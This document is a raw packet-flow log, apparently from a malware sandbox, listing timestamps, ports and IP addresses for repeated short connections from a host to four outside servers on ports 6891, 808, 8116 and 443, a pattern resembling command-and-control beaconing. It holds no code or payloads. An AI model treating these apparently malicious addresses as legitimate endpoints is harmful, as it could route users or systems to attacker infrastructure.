Oct 28, 2021 04:45:37.584304094 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:37.584342957 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:37.699573040 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:37.734698057 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.772496939 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.864984989 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:37.865230083 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:37.865899086 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:37.934429884 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.934633017 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.935517073 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.031116009 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.031199932 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.031312943 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.031879902 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.037498951 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.037626982 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.097182989 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.097318888 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.097414017 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.098084927 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.103266001 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.103434086 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.202841997 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.202873945 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.202894926 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.259934902 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.264997959 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.265181065 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.265213966 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.265240908 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.585593939 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.585623980 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.585854053 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.593687057 CEST	49819	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.653320074 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.653352022 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.653577089 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.653647900 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.655998945 CEST	49820	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:38.714014053 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.759526014 CEST	6891	49819	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.762096882 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:38.762196064 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.764936924 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.771085978 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.812299967 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:38.812463999 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:38.812549114 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.813427925 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.817692995 CEST	808	49820	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:38.819475889 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.819611073 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:38.866923094 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:38.866951942 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:38.868000984 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:38.937642097 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:38.937865019 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:38.938889027 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.042479038 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.042510033 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.042783022 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.053776979 CEST	49821	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.101490021 CEST	8116	49821	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.105166912 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.105319977 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.105499029 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.106400967 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.115783930 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.116002083 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.180313110 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.180372953 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:39.180501938 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.181226015 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.181245089 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:39.282197952 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.282222033 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.668961048 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.668988943 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.669106960 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.669167995 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.671472073 CEST	49822	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:39.702896118 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:39.703237057 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.703744888 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.703757048 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:39.710397959 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.710413933 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:39.710572958 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:39.710583925 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:39.788425922 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.837660074 CEST	6891	49822	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:39.845849991 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.845993996 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.846937895 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.904119015 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.904236078 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.904362917 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.905086040 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.910501003 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.910603046 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:39.967827082 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.968410969 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:39.968727112 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:40.160633087 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:40.160662889 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:40.160744905 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:40.160775900 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:40.163430929 CEST	49824	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:40.220758915 CEST	8116	49824	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:40.273181915 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.273237944 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.273345947 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.273952007 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.273976088 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.418277979 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.418351889 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.418474913 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.418507099 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.427011967 CEST	49823	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.427053928 CEST	443	49823	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.542515039 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:40.703234911 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:40.703531027 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:40.704617023 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:40.766949892 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.767210960 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.768899918 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.768913984 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.781724930 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.781742096 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.781852007 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:40.781860113 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:40.864820957 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:40.864905119 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:40.865092039 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:40.866027117 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:40.874973059 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:40.875165939 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.029968023 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.036752939 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.036798000 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.036823034 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.036875963 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.424120903 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.424150944 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.424262047 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.432219028 CEST	49826	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.473841906 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:41.473927975 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:41.474009037 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:41.474033117 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:41.477130890 CEST	49825	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:41.477160931 CEST	443	49825	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:41.568833113 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.592453003 CEST	808	49826	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.618057013 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.734466076 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:41.734611034 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.735949993 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.778846979 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.779022932 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.780332088 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.901319981 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:41.901371002 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:41.901535034 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.902184010 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.907696962 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.907836914 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:41.940888882 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.941239119 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:41.941325903 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.941931963 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.946335077 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:41.946439981 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:42.073019981 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.073139906 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.102346897 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.106775999 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.106795073 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.106909037 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.449577093 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.449625015 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.449722052 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.449774981 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.457391977 CEST	49827	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.490703106 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.490741968 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.490835905 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:42.490880966 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:42.494646072 CEST	49828	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:42.570172071 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.615757942 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.622895002 CEST	6891	49827	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.624069929 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.624188900 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.625051975 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.655216932 CEST	808	49828	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:42.678656101 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.678839922 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.678916931 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.679481030 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.684541941 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.684684992 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.738336086 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.738353014 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.782310009 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.782489061 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.783361912 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.930676937 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.930700064 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:42.930841923 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.941066027 CEST	49829	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:42.949711084 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.949742079 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:42.949863911 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.950680971 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.956531048 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.956650019 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:42.995016098 CEST	8116	49829	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.058778048 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.058830023 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:43.059012890 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.059722900 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.059740067 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:43.123451948 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:43.162503958 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:43.503943920 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:43.503997087 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:43.504081011 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:43.504123926 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:43.508131981 CEST	49830	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:43.554091930 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:43.556596041 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.557328939 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.557346106 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:43.564045906 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.564069986 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:43.564179897 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:43.564193010 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:43.634011030 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.674747944 CEST	6891	49830	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:43.688328028 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.688457012 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.689342976 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.743308067 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.743674994 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.743808985 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.744510889 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.751061916 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.751259089 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.805233002 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.805478096 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.805946112 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.975156069 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.975188017 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:43.975373983 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.975431919 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:43.978143930 CEST	49832	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:44.032216072 CEST	8116	49832	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:44.100399017 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.100450039 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.100544930 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.101346016 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.101362944 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.254798889 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.254882097 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.254950047 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.254977942 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.263251066 CEST	49831	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.263303041 CEST	443	49831	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.392235994 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.555376053 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.555706024 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.556967020 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.617165089 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.617399931 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.618390083 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.618412018 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.628396034 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.628412962 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.628515959 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:44.628524065 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:44.717287064 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.717354059 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.717570066 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.718300104 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.723232031 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.723340988 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:44.878515959 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.883507013 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.883536100 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.883552074 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:44.883568048 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.262305021 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.262342930 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.262581110 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.262634039 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.270327091 CEST	49834	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.338882923 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:45.339016914 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:45.339148998 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:45.339199066 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:45.342706919 CEST	49833	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:45.342741013 CEST	443	49833	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:45.383959055 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.430656910 CEST	808	49834	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.461815119 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.549371004 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:45.549570084 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.550941944 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.625369072 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.625539064 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.626689911 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.716239929 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:45.716310024 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:45.716383934 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.718646049 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.724487066 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.724648952 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:45.790118933 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.790505886 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.790601969 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.792289019 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.797956944 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.798080921 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:45.889934063 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:45.889966965 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:45.926278114 CEST	6891	49835	45.77.0.96	192.168.2.5
